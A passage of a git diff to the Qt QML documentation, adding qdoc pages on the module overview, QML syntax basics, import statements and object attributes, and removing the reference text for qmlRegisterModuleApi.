- \relates QQmlEngine +\page qtqml-main.html +\title Qt QML Module +\brief The Qt QML module defines and implements the QML language + +\section1 Overview Of The Qt QML Module + +The Qt QML module provides a framework for developing applications. It defines +and implements the QML language, and provides API which allows clients to +extend the QML language with more types, and to integrate QML code with +JavaScript or C++. + +Application developers who are interested in writing applications using QML +should start by reading the \l{qtquick-applicationdevelopers.html} +{QML Application Developer Resources}. + +\section2 What Is QML + +QML is a user-interface specification and programming language. It was +designed specifically to enable and ease the development of modern, +touch-driven, fluidly animated and visually-appealling applications. + +One of the core goals of QML is to allow closer interaction between designers +and programmers during the development of an application. + +\section2 What Does The Qt QML Module Provide + +The Qt QML module provides the definition and an implementation of the QML +language. It uses a JavaScript engine to provide JavaScript integration, and +provides C++ API to provide integration with C++. It provides a framework for +object instantiation and manipulation along with strong typing, which can be +integrated with a visual canvas and an animation framework to enable the +development of highly-appealling interactive applications. + +\section2 What Does The Qt QML Module Not Provide + +It does not provide a visual canvas, visual items, or an animation framework. +These are provided instead by the \l{QtQuick} module. + +Qt Quick can be thought of as the "standard library" of types (including visual +types, animation classes, and canvas integration) for the QML language. + + +\section1 Qt QML Module Documentation + +\list + \li \l{qtqml-cppclasses-topic.html}{C++ Classes Provided By The Qt QML Module} + \list + \li \l{qtqml-cppclasses-engine.html}{QQmlEngine} + \li \l{qtqml-cppclasses-context.html}{QQmlContext} + \li \l{qtqml-cppclasses-component.html}{QQmlComponent} + \endlist + + \li \l{qtqml-typesystem-topic.html}{The QML Type System} + \list + \li \l{qtqml-typesystem-topic.html}{Basic Types} + \li \l{qtqml-typesystem-topic.html#javascript-types}{JavaScript Types} + \li \l{qtqml-typesystem-topic.html#qml-object-types}{QML Object Types} + \list + \li \l{qtqml-documents-definetypes.html}{Defining Object Types from QML} + \li \l{qtqml-cppintegration-registercpptypes.html}{Defining Object Types from C++} + \endlist + \endlist + + \li \l{qtqml-modules-topic.html}{QML Modules} + \list + \li \l{qtqml-modules-topic.html#syntax-of-a-qmldir-file}{Packaging QML and JavaScript Files} + \li \l{qtqml-modules-cppplugins.html#creating-a-plugin}{Providing Types and Functionality in a C++ Plugin} + \li \l{qtqml-modules-qmldir.html}{Syntax of a qmldir File} + \endlist + + \li \l{qtqml-documents-topic.html}{QML Documents} + \list + \li \l{qtqml-documents-structure.html}{Structure of a QML Document} + \li \l{qtqml-syntax-basics.html}{Syntax of the QML Language} + \li \l{qtqml-documents-definetypes.html}{Defining Object Types through QML Documents} + \list + \li \l{qtqml-documents-definetypes.html#defining-an-object-type-with-a-qml-file}{Defining an Object Type with a QML File} + \li \l{qtqml-documents-definetypes.html#accessible-attributes-of-custom-types}{Accessible Attributes of Custom Types} + \endlist + \li \l{qtqml-documents-networktransparency.html}{Resource Loading and Network Transparency} + \li \l{qtqml-documents-scope.html}{Scope and Naming Resolution} + \endlist + + \li \l{qtqml-typereference-topic.html}{QML Types Provided by the Qt QML Module} + \list + \li \l{qtqml-typereference-topic.html#qtobject}{QtObject} + \li \l{qtqml-typereference-topic.html#component}{Component} + \endlist + + \li \l{qtqml-javascript-topic.html}{Integrating QML and JavaScript} + \list + \li \l{qtqml-javascript-expressions.html}{Using JavaScript Expressions with QML} + \li \l{qtqml-javascript-imports.html}{Importing JavaScript Files in QML Documents} + \li \l{qtqml-javascript-dynamicobjects.html}{Dynamic QML Object Creation from JavaScript} + \li \l{qtqml-javascript-hostenvironment.html}{JavaScript Host Environment} + \list + \li \l{qtqml-javascript-qmlglobalobject.html}{QML Global Object} + \li \l{qtqml-javascript-functionlist.html}{List of JavaScript Objects and Functions} + \endlist + \endlist + + \li \l{qtqml-cppintegration-topic.html}{Integrating QML and C++} + \list + \li \l{qtqml-cppintegration-registercpptypes.html}{Defining QML Object Types from C++} + \li \l{qtqml-cppintegration-data.html}{Exposing C++ Data to QML} + \li \l{qtqml-cppintegration-functions.html}{Exposing C++ Functionality to QML} + \li \l{qtqml-cppintegration-reverse.html}{Interacting with Objects defined in QML from C++} + \endlist + +\endlist + + +\section1 Syntax of the QML Language + +\list + \li \l{qtqml-syntax-basics.html}{QML Syntax Basics} + \list + \li \l{qtqml-syntax-imports.html}{Import Statements} + \li \l{qtqml-syntax-basics.html#object-declarations}{Object Declarations} + \list + \li \l{qtqml-syntax-basics.html#child-objects}{Child Objects} + \endlist + \li \l{qtqml-syntax-basics.html#comments}{Comments} + \endlist + + \li \l{qtqml-syntax-objectattributes.html}{QML Object Attributes} + \list + \li \l{qtqml-syntax-objectattributes.html#the-id-assignment}{The \e id Assignment} + \li \l{qtqml-syntax-objectattributes.html#property-initialization}{Property Initialization} + \li \l{qtqml-syntax-objectattributes.html#custom-properties}{Custom Properties} + \li \l{qtqml-syntax-objectattributes.html#signal-handlers}{Signal Handlers} + \li \l{qtqml-syntax-objectattributes.html#custom-signals}{Custom Signals} + \li \l{qtqml-syntax-objectattributes.html#custom-methods}{Custom Methods} + \li \l{qtqml-syntax-objectattributes.html#attached-properties-and-attached-signal-handlers}{Attached Properties and Attached Signal Handlers} + \endlist + + \li \l{qtqml-syntax-propertybinding.html}{Property Binding} + \li \l{qtqml-syntax-signals.html}{Signal and Handler Event System} +\endlist + +\section1 Reference Documentation + +More information about the Qt QML module is contained within the class and +function documentation of the \l{qtqml-apireference.html} +{Qt QML Module API Reference}. The QML types provided by the Qt QML module +are listed in the \l{qtqml-typereference-topic.html} +{Qt QML Module QML Type Reference} page. + +Application developers who are interested in writing applications using QML +should start by reading the \l{qtquick-applicationdevelopers.html} +{QML Application Developer Resources}. The documentation for the +\l{qtquick-main.html}{QtQuick} module is also an indispensible resource for +application developers, as it provides the standard library of QML types which +application developers will use in their applications. + +Quick Links: +\list +\li \l{qtqml-typereference-topic.html}{Qt QML Module QML Type Reference} +\li \l{qtqml-module.html}{Qt QML Module C++ API Reference} +\li \l{qtquick-main.html}{Qt Quick Module Documentation} +\li \l{qtquick-applicationdevelopers.html}{QML Application Developer Resources} +\endlist - This template function registers the C++ type in the QML system - under the name \a typeName. - - #include <QtQml> to use this function. - - Returns the QML type id. */ -/*! - \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QJSValue (*callback)(QQmlEngine *, QJSEngine *)) - \relates QQmlEngine - - This function may be used to register a module API provider \a callback in a particular \a uri - with a version specified in \a versionMajor and \a versionMinor. - - Installing a module API into a uri allows developers to provide arbitrary functionality - (methods and properties) in a namespace that doesn't necessarily contain elements. - - A module API may be either a QObject or a QJSValue. Only one module API provider - may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). - This function should be used to register a module API provider function which returns a QJSValue as a module API. - - \b{NOTE:} QJSValue module API properties will \b{not} trigger binding re-evaluation if changed. - - Usage: - \code - // first, define the module API provider function (callback). - static QJSValue *example_qjsvalue_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) - { - Q_UNUSED(engine) - - static int seedValue = 5; - QJSValue example = scriptEngine->newObject(); - example.setProperty("someProperty", seedValue++); - return example; - } - - // second, register the module API provider with QML by calling this function in an initialization function. - ... - qmlRegisterModuleApi("Qt.example.qjsvalueApi", 1, 0, example_qjsvalue_module_api_provider); - ... - \endcode - - In order to use the registered module API in QML, you must import the module API. - \qml - import QtQuick 2.0 - import Qt.example.qjsvalueApi 1.0 as ExampleApi - Item { - id: root - property int someValue: ExampleApi.someProperty - } - \endqml - */ - -/*! - \fn template<typename T> int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) - \relates QQmlEngine - - This function may be used to register a module API provider \a callback in a particular \a uri - with a version specified in \a versionMajor and \a versionMinor. - - Installing a module API into a uri allows developers to provide arbitrary functionality - (methods and properties) in a namespace that doesn't necessarily contain elements. - - A module API may be either a QObject or a QJSValue. Only one module API provider - may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). - This function should be used to register a module API provider function which returns a QObject - of the given type T as a module API. - - A QObject module API must be imported with a qualifier, and that qualifier may be used as - the target in a \l Connections element or otherwise used as any other element id would. - One exception to this is that a QObject module API property may not be aliased (because the - module API qualifier does not identify an object within the same component as any other item). - - \b{NOTE:} A QObject module API instance returned from a module API provider is owned by the QML - engine. For this reason, the module API provider function should \b{not} be implemented as a - singleton factory. - - Usage: - \code - // first, define your QObject which provides the functionality. - class ModuleApiExample : public QObject - { - Q_OBJECT - Q_PROPERTY (int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged) - - public: - ModuleApiExample(QObject* parent = 0) - : QObject(parent), m_someProperty(0) - { - } - - ~ModuleApiExample() {} - - Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; } - - int someProperty() const { return m_someProperty; } - void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); } - - signals: - void somePropertyChanged(int newValue); - - private: - int m_someProperty; - }; - - // second, define the module API provider function (callback). - static QObject *example_qobject_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) - { - Q_UNUSED(engine) - Q_UNUSED(scriptEngine) - - ModuleApiExample *example = new ModuleApiExample(); - return example; - } - - // third, register the module API provider with QML by calling this function in an initialization function. - ... - qmlRegisterModuleApi<ModuleApiExample>("Qt.example.qobjectApi", 1, 0, example_qobject_module_api_provider); - ... - \endcode - - In order to use the registered module API in QML, you must import the module API. - \qml - import QtQuick 2.0 - import Qt.example.qobjectApi 1.0 as ExampleApi - Item { - id: root - property int someValue: ExampleApi.someProperty - - Component.onCompleted: { - someValue = ExampleApi.doSomething() - } - } - \endqml - */ diff --git a/src/qml/doc/src/syntax/basics.qdoc b/src/qml/doc/src/syntax/basics.qdoc new file mode 100644 index 0000000000..5d8b60378c --- /dev/null +++ b/src/qml/doc/src/syntax/basics.qdoc @@ -0,0 +1,191 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-syntax-basics.html +\title QML Syntax Basics +\brief Description of the basics of QML syntax + +QML is a declarative language that enables objects to be defined in terms of their attributes +and how they relate and respond to changes in other objects. In contrast to imperative code, where changes in attributes and behavior are expressed through a series of statements that are processed step by step, the declarative QML syntax integrates attribute and behavioral changes directly into the definitions of individual objects. + +QML source code is generally loaded by the engine through QML \e documents, which are +standalone documents of QML code. These can be used to define \l {QML Object Types}{QML object types} that can then be reused throughout an application. + + +\section1 Import statements + +A QML document may have one or more imports at the top of the file. +An import can be any one of: + +\list +\li a versioned namespace into which types have been registered (e.g., by a plugin) +\li a versioned namespace which provides a module API +\li a relative directory which contains type-definitions as QML documents +\li a JavaScript file +\endlist + +Module API imports and JavaScript file imports must be qualified when +imported, so that the properties and methods they provide can be accessed. + +The generic form of the various imports are as follows: +\list +\li \tt{import Namespace VersionMajor.VersionMinor} +\li \tt{import Namespace VersionMajor.VersionMinor as ModuleApiIdentifier} +\li \tt{import "directory"} +\li \tt{import "file.js" as ScriptIdentifier} +\endlist + +Examples: +\list +\li \tt{import QtQuick 2.0} +\li \tt{import QtQuick.LocalStorage 2.0 as Database} +\li \tt{import "../privateComponents"} +\li \tt{import "somefile.js" as Script} +\endlist + +Please see the \l{qtqml-syntax-imports.html}{QML Syntax - Import Statements} +documentation for in-depth information about QML imports. + + +\section1 Object declarations + +Syntactically, a block of QML code defines a tree of QML objects to be created. Objects are +defined using \e {object declarations} that describe the type of object to be created as well +as the attributes that are to be given to the object. Each object may also declare child objects +using nested object declarations. + +An object declaration consists of the name of its object type, followed by a set of curly braces. All attributes and child objects are then declared within these braces. + +Here is a simple object declaration: + +\qml +Rectangle { + width: 200 + height: 200 + color: "red" +} +\endqml + +This declares an object of type \l Rectangle, followed by a set of curly braces that encompasses the attributes defined for that object. The \l Rectangle type is a type made available by the \l QtQuick module, and the attributes defined in this case are the values of the rectangle's \c width, \c height and \c color properties. (These are properties made available by the \l Rectangle type, as described in the \l Rectangle documentation.) + +The above object can be loaded by the engine if it is part of a \l{qtqml-documents-topic.html}{QML document}. That is, if the source code is complemented with \e import statement that imports the QtQuick module (to make the \l Rectangle type available), as below: + +\qml +import QtQuick 2.0 + +Rectangle { + width: 200 + height: 200 + color: "red" +} +\endqml + +When placed into a \c .qml file and loaded by the QML engine, the above code creates a \l Rectangle object using the \l Rectangle type supplied by the QtQuick module: + +\image qtqml-syntax-basics-object-declaration.png + +\note If an object definition only has a small number of properties, it can be written on a single line like this, with the properties separated by semi-colons: + +\qml +Rectangle { width: 200; height: 200; color: "red" } +\endqml + +Obviously, the \l Rectangle object declared in this example is very simple indeed, as it defines nothing more than a few property values. To create more useful objects, an object declaration may define many other types of attributes: these are discussed in the \l{qtqml-syntax-object-declaration.html}{Object Declarations} documentation. Additionally, an object declaration may define child objects, as discussed below. + + +\section2 Child objects + +Any object declaration can define child objects through nested object declarations. In this way, \b {any object declaration implicitly declares an object tree that may contain any number of child objects}. + +For example, the \l Rectangle object declaration below includes a \l Gradient object declaration, +which in turn contains two \l GradientStop declarations: + +\qml +import QtQuick 2.0 + +Rectangle { + width: 200 + height: 200 + + gradient: Gradient { + GradientStop { position: 0.0; color: "yellow" } + GradientStop { position: 1.0; color: "green" } + } +} +\endqml + +When this code is loaded by the engine, it creates an object tree with a \l Rectangle object at the root; this object has a \l Gradient child object, which in turn has two \l GradientStop children. + +Note, however, that this is a parent-child relationship in the context of the QML object tree, not +in the context of the visual scene. The concept of a parent-child relationship in a visual scene is provided by the \l Item type from the \l QtQuick module, which is the base type for most QML types, as most QML objects are intended to be visually rendered. For example, \l Rectangle and \l Text are both \l {Item}-based types, and below, a \l Text object has been declared as a visual child of a \l Rectangle object: + +\qml +import QtQuick 2.0 + +Rectangle { + width: 200 + height: 200 + color: "red" + + Text { + anchors.centerIn: parent + text: "Hello, QML!" + } +} +\endqml + +When the \l Text object refers to its \l {Item::parent}{parent} value in the above code, it is referring to its \e {visual parent}, not the parent in the object tree. In this case, they are one and the same: the \l Rectangle object is the parent of the \l Text object in both the context of the QML object tree as well as the context of the visual scene. However, while the \l {Item::parent}{parent} property can be modified to change the visual parent, the parent of an object in the context of the object tree cannot be changed from QML. + +(Additionally, notice that the \l Text object has been declared without assigning it to a property of the \l Rectangle, unlike the earlier example which assigned a \l Gradient object to the rectangle's \c gradient property. This is because the \l {Item::children}{children} property of \l Item has been set as the type's \l {qtqml-syntax-objectattributes.html#default-properties}{default property} to enable this more convenient syntax.) + +See the \l{qtquick-concepts-visual.html#items-and-visual-parenting}{Visual Parent} documentation for more information on the concept of visual parenting with the \l Item type. + + +\section1 Comments + +The syntax for commenting in QML is similar to that of JavaScript: + +\list +\li Single line comments start with // and finish at the end of the line. +\li Multiline comments start with /* and finish with *\/ +\endlist + +\snippet qml/comments.qml 0 + +Comments are ignored by the engine when processing QML code. They are useful for explaining what a section of code is doing, whether for reference at a later date or for explaining the implementation to others. + +Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. + +\qml + Text { + text: "Hello world!" + //opacity: 0.5 + } +\endqml + +In the above example, the \l Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment. +*/ diff --git a/src/qml/doc/src/syntax/imports.qdoc b/src/qml/doc/src/syntax/imports.qdoc new file mode 100644 index 0000000000..73fe95c768 --- /dev/null +++ b/src/qml/doc/src/syntax/imports.qdoc @@ -0,0 +1,166 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-syntax-imports.html +\title Import Statements +\brief Description of import statements in QML + +\section1 Syntax Of An Import Statement + + +The \c import statement is used to provide the QML engine with access to the modules that define the types that are referred to from within the QML file. + +The syntax for the \c import statement is: + +\code +import <module> <major version>.<minor version> [as <namespace>] +\endcode + +When a QML file is loaded by the engine, the only QML types that are automatically made available to that file are those that are \l{Defining Object Types through QML Documents}{defined by .qml files} within the same directory. Any types defined elsewhere are not accessible unless an \c import statement has imported the module that contains the required type. For example, the \c QtQuick module must be imported in order to use any of its QML types: + +\qml +import QtQuick 2.0 + +Rectangle {} // won't work if import line is missing, engine will refuse to load the file +\endqml + +The \c <module> can be either a filesystem path to the module, or an identifier for the module if it is accessible to the import path. For example: + +\code +import "../relative/path/to/module" +import "/absolute/path/to/module" +import com.company.module +\endcode + +(See \l {QML Modules} for more information on defining and importing located and installed modules.) + + +\note Import paths are network transparent: applications can import documents from remote paths just as simply as documents from local paths. See the general URL resolution rules for \l{qtqml-documents-networktransparency.html}{Network Transparency} in QML documents. + + +\section2 Namespace Imports + + + +The \c import statement may optionally use the \c as keyword to specify that the module should be imported into a particular namespace. If a namespace is specified, then any references to the types made available by the module must be prefixed by the namespace qualifier. + +Below, the QtQuick module is imported into the namespace "CoreItems". Now, any references to types from the \c QtQuick module must be prefixed with the \c CoreItems name: + +\qml +import QtQuick 2.0 as CoreItems + +CoreItems.Rectangle { + width: 100; height: 100 + + CoreItems.Text { text: "Hello, world!" } + + // WRONG! No namespace prefix - the Text type won't be found + Text { text: "Hello, world!" } +} +\endqml + +A namespace acts as an identifier for a module within the scope of the file. The namespace does not become an attribute of the root object that can be referred to externally as can be done with properties, signals and methods. + +The namespaced import is useful if there is a requirement to use two QML types that have the same name but are located in different modules. In this case the two modules can be imported into different namespaces to ensure the code is referring to the correct type: + +\qml +import QtQuick 2.0 as CoreItems +import "../textwidgets" as MyModule + +CoreItems.Rectangle { + width: 100; height: 100 + + MyModule.Text { text: "Hello from my custom text item!" } + CoreItems.Text { text: "Hello from QtQuick!" } +} +\endqml + +Note that multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace. For example: + +\snippet qml/imports/merged-named-imports.qml imports + + + + +\section2 Relative Directory Imports + +\section2 JavaScript File Imports + + +JavaScript files must always be imported with a named import: + +\qml +import "somescript.js" as MyScript + +Item { + //... + Component.onCompleted: MyScript.doSomething() +} +\endqml + +The qualifier ("MyScript" in the above example) must be unique within the QML document. +Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. + +Javascript files can be provided by modules, by adding Namespace definitions to the +\l{Syntax of a qmldir file}{qmldir file} for the module. For example: + +\code +SystemFunctions 1.0 SystemFunctions.js +UserFunctions 1.0 UserFunctions.js +\endcode + +Javascript can be imported from a module, where they will have the namespace defined +for them in the module's \c qmldir file: + +\qml +import projects.MyQMLProject.MyFunctions 1.0 + +Window { + Component.onCompleted: { SystemFunctions.cleanUp(); } +} +\endqml + +Javascript provided by modules can also be imported into namespaces: + +\qml +import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs +import org.example.Functions 1.0 as TheirFuncs + +Window { + Component.onCompleted: { + MyFuncs.SystemFunctions.cleanUp(); + TheirFuncs.SystemFunctions.shutdown(); + } +} +\endqml + + +\section2 Version Specification + +\section2 Import Qualifier + +*/ diff --git a/src/qml/doc/src/syntax/objectattributes.qdoc b/src/qml/doc/src/syntax/objectattributes.qdoc new file mode 100644 index 0000000000..1562aa6b1f --- /dev/null +++ b/src/qml/doc/src/syntax/objectattributes.qdoc @@ -0,0 +1,635 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-syntax-objectattributes.html +\title QML Object Attributes +\brief Valid attributes for an object declaration + + +\section1 QML object attributes + +An \l{qtqml-syntax-basics.html#object-declarations}{object declaration} contains the set of attributes that should be set for that object. These may include: + +\list +\li the \e id assignment +\li property value assignments +\li signal handlers +\li custom properties +\li custom methods +\li custom signals +\li attached properties and attached signal handlers +\endlist + +These attributes are discussed in detail below. + + +\section2 The \e id assignment + +Any QML object can be given a special \e id value that allows the object to be identified and referred to by other objects. This \c id must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores. + +Below is a \l TextInput object and a \l Text object. The \l TextInput object's \c id value is set to "myTextInput". The \l Text object sets its \c text property to have the same value as the \c text property of the \l TextInput, by referring to \c myTextInput.text. Now, both items will display the same text: + +\qml +import QtQuick 2.0 + +Column { + width: 200; height: 200 + + TextInput { id: myTextInput; text: "Hello World" } + + Text { text: myTextInput.text } +} +\endqml + +An object can be referred to by its \c id from anywhere within the \e {component scope} in which it is declared. Therefore, an \c id value must always be unique within its component scope. See \l{qtqml-documents-scope.html}{Scope and Naming Resolution} for more information. + +Once an object is created, its \c id cannot be changed. The \c id value is a special value and is not an ordinary object property; for example, it is not possible to access \c myTextInput.id in the above example. + + +\section2 Property Initialization + +A property is an attribute of an object that can be assigned a static value or bound to a dynamic expression. A property's value can be read by other objects. Generally it can also be modified by another object, unless a particular QML type has explicitly disallowed this for a specific property. + +A property can be assigned a value using the \c {<property-name : property-value>} syntax, with a colon separating the property name and value: + +\qml +Rectangle { + width: 200 + height: 200 + color: "red" +} +\endqml + +This sets the rectangle's \c width property value to 200, the \c height property value to 200 and the \c color property value to "red". + +A property can also be assigned an expression written in JavaScript: + +\qml +Rectangle { + width: 30 * 5 + height: 500 / 2 +} +\endqml + +\section3 Property Binding: binding properties to expressions + +Additionally, a property can be \e bound to an expression that references other objects and properties. This creates a \l {Property Binding}{property binding}, enabling the property to be automatically updated whenever the value of the evaluated expression changes. A property binding can simply be a reference to another object's property, as in the example below, where the blue \l Rectangle's \c height is bound to the height of its parent: + +\qml +Rectangle { + width: 200; height: 200 + + Rectangle { + width: 100; height: parent.height + color: "blue" + } +} +\endqml + +Whenever the \c height of the parent rectangle changes, the \c height of the blue rectangle will also update to have the same value. + +Furthermore, a binding can contain any valid JavaScript expression, as QML uses a standards compliant JavaScript engine. It can also call external methods or refer to standard JavaScript objects such as \c Math and \c Date. Below are valid bindings that could be substituted for the \c height binding from the above example: + +\code +height: parent.height / 2 + +height: Math.min(parent.width, parent.height) + +height: parent.height > 100 ? parent.height : parent.height/2 + +height: { + if (parent.height > 100) + return parent.height + else + return parent.height / 2 +} + +height: someMethodThatReturnsHeight() +\endcode + +See the \l {Property Binding} documentation for a more detailed discussion on property binding. + + +\section3 Type safety + +Properties are type safe. A property can only be assigned a value that matches the property type. + +For example, if a property is a real, and if you try to assign a string to it you will get an error: + +\code +property int volume: "four" // generates an error; the property's object will not be loaded +\endcode + +Likewise if a property is assigned a value of the wrong type during run time, the new value will not be assigned, and an error will be generated. + +See \l {QML Basic Types} for a list of the types of properties that are supported by default. Additionally, any available \l {QML Object Types}QML object type} may also be used as a property type. + + +\section3 Special property types + +\section4 List type properties + +A \l list type property or a \l var type property can be assigned a list of values. The syntax for defining a list value is a comma-separated list surrounded by square brackets: + +\code +[ <item 1>, <item 2>, ... ] +\endcode + +For example, \l Item type has a \l {Item::states}{states} property that is used to hold a list of \l State type objects. The code below assigns a list of three \l State objects to this property: + +\qml +import QtQuick 2.0 + +Item { + states: [ + State { name: "loading" }, + State { name: "running" }, + State { name: "stopped" } + ] +} +\endqml + +If the list contains a single item, the square brackets may be omitted: + +\qml +import QtQuick 2.0 + +Item { + states: State { name: "running" } +} +\endqml + +See the \l list and \l var type documentation for more details. + + +\section4 Grouped Properties + +In some cases properties contain a logical group of attributes. These attributes can be assigned to using either the dot notation or group notation. + +For example, the \l Text type has a \l{Text::font}{font} group property. Below, the first \l Text object initializes its \c font values using dot notation, while the second uses group notation: + +\code +Text { + //dot notation + font.pixelSize: 12 + font.bold: true +} + +Text { + //group notation + font { pixelSize: 12; bold: true } +} +\endcode + + +\section2 Custom properties + +An object definition can be given additional custom properties. This allows it to \l {Defining Object Types from QML}{expose a particular value} to outside objects or maintain some internal variable more easily. + +Custom properties are added through the \e property keyword, as per the syntax below: + +\code + [default] property <type> <name>[: defaultValue] +\endcode + +(Property names must begin with a lower case letter and can only contain letters, numbers and underscores. \l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property names.) + +Declaring a custom property implicitly creates a value-change signal for that property that can be connected to using a signal handler \e on<Property>Changed, where \e <Property> is the name of the property, with the first letter capitalized. + +For example, the \l Rectangle below has a custom property named \e sum which is of type \c int. This property is set to the sum of the values in the two text inputs through a binding that uses the standard JavaScript \c parseInt() function. + +\qml +Column { + property int sum: parseInt(inputA) + parseInt(inputB) + + onSumChanged: console.log("Sum changed to:", sum) + + TextInput { id: inputA; text: "100" } + TextInput { id: inputB; text: "200" } +} +\endqml + +Notice the \c onSumChanged signal handler automatically works since the addition of the \c sum property has implicitly created an appropriate value-change signal for the property. + +The default property value is optional. The above example could have separated the declaration and value assignment of the \c sum property, as follows: + +\qml +Column { + property int sum + + sum: parseInt(inputA) + parseInt(inputB) + //... +} +\endqml + +The end result would be identical. + + +\section3 Custom property types + +The following types can be used as custom property types: + +\list +\li \l bool +\li \l int +\li \l real, \l double +\li \l string +\li \l var +\endlist + +The \l var type is a generic placeholder type that can hold any type of value, including lists and objects: + +\code +property var someNumber: 1.5 +property var someString: "abc" +property var someBool: true +property var someList: [1, 2, "three", "four"] +property var someObject: Rectangle { width: 100; height: 100; color: "red" } +\endcode + +For convenience, the following types can also be used as custom property types. Using these types specifically instead of the \l var type provides type safety and may also assist with application optimization: + +\list +\li \l color +\li \l date +\li \l rect +\li \l url +\endlist + +Additionally, any \l{QML Object Types}QML object type} can be used as a property type. For example: + +\code +property Item someItem +property Rectangle someRectangle +\endcode + +This applies to \l {Defining Object Types from QML}{custom QML types} as well. If a QML type was defined in a file named \c ColorfulButton.qml, then a property of type \c ColorfulButton would also be valid. + + +\section3 Property aliases + +Property aliases are properties which hold a reference to another property. Unlike an ordinary property definition, which allocates a new, unique storage space for the property, a property alias connects the newly declared property (called the aliasing property) as a direct reference to an existing property (the aliased property). + +A property alias declaration looks like an ordinary property definition, except it requires the \c alias keyword instead of a property type: + +\code +[default] property alias <name>: <alias reference> +\endcode + +Unlike an ordinary property, an alias can only refer to a object, or the property of a object, that is within the scope of the \l{QML Object Types}{type} within which the alias is declared. It cannot contain arbitrary JavaScript expressions and it cannot refer to objects declared outside of the scope of its type. Also note the \e {alias reference} is not optional, unlike the optional default value for an ordinary property; the alias reference must be provided when the alias is first declared. + +For example, below is a \c Button type with a \c buttonText aliased property which is connected to the \c text object of the \l Text child: + +\qml +// Button.qml +import QtQuick 2.0 + +Rectangle { + property alias buttonText: textItem.text + + width: 100; height: 30; color: "yellow" + + Text { id: textItem } +} +\endqml + +The following code would create a \c Button with a defined text string for the child \l Text object: + +\qml +Button { buttonText: "Click Me" } +\endqml + +Here, modifying \c buttonText directly modifies the textItem.text value; it does not change some other value that then updates textItem.text. If \c buttonText was not an alias, changing its value would not actually change the displayed text at all, as property bindings are not bi-directional: the \c buttonText value would have changed if textItem.text was changed, but not the other way around. + + +\section4 Considerations for property aliases + +Aliases are only activated once a component has been fully initialized. An error is generated when an uninitialized alias is referenced. Likewise, aliasing an aliasing property will also result in an error. + +\snippet qml/properties.qml alias complete + +When importing a \l{QML Object Types}QML object type} with a property alias in the root object, however, the property appear as a regular Qt property and consequently can be used in alias references. + +It is possible for an aliasing property to have the same name as an existing +property, effectively overwriting the existing property. For example, +the following QML type has a \c color alias property, named the same as the built-in +\l {Rectangle::color} property: + +\snippet qml/properties.qml alias overwrite + +Any object that use this type and refer to its \c color property will be +referring to the alias rather than the ordinary \l {Rectangle::color} property. +Internally, however, the red can correctly set its \c color +property and refer to the actual defined property rather than the alias. + + +\section3 Default properties + +An object definition can have a single \e default property. A default property is the property to which a value is assigned if an object is declared within another object's definition without attaching it as a value to a particular property. + +Declaring a property with the optional \c default attribute marks it as the default property. For example, say there is a file MyLabel.qml with a default property \c someText: + +\qml +// MyLabel.qml +import QtQuick 2.0 + +Text { + default property var someText + + text: "Hello, " + someText.text +} +\endqml + +The \c someText value could be assigned to in a \c MyLabel object definition, like this: + +\qml +MyLabel { + Text { text: "world!" } +} +\endqml + +This has exactly the same effect as the following: + +\qml +MyLabel { + someText: Text { text: "world!" } +} +\endqml + +However, since the \c someText property has been marked as the default property, it is not necessary to explicitly assign the \l Text object to this property. + +You will notice that child objects can be added to any \l {Item}-based type without explicitly adding them to the \l {Item::children}{children} property. This is because the default property of \l Item is its \c data property, and any items added to this list for an \l Item are automatically added to its list of \l {Item::children}{children}. + +Default properties can be useful for reassigning the children of an item. See the \l{declarative/ui-components/tabwidget}{TabWidget example}, which uses a default property to automatically reassign children of the TabWidget as children of an inner ListView. + + +\section2 Signal handlers + +A signal is a notification from an object that some event has occurred: for example, a property has changed, an animation has started or stopped, or when an image has been downloaded. The \l MouseArea type, for example, has a \l {MouseArea::clicked}{clicked} signal that is emitted when the user clicks within the mouse area. + +An object can be 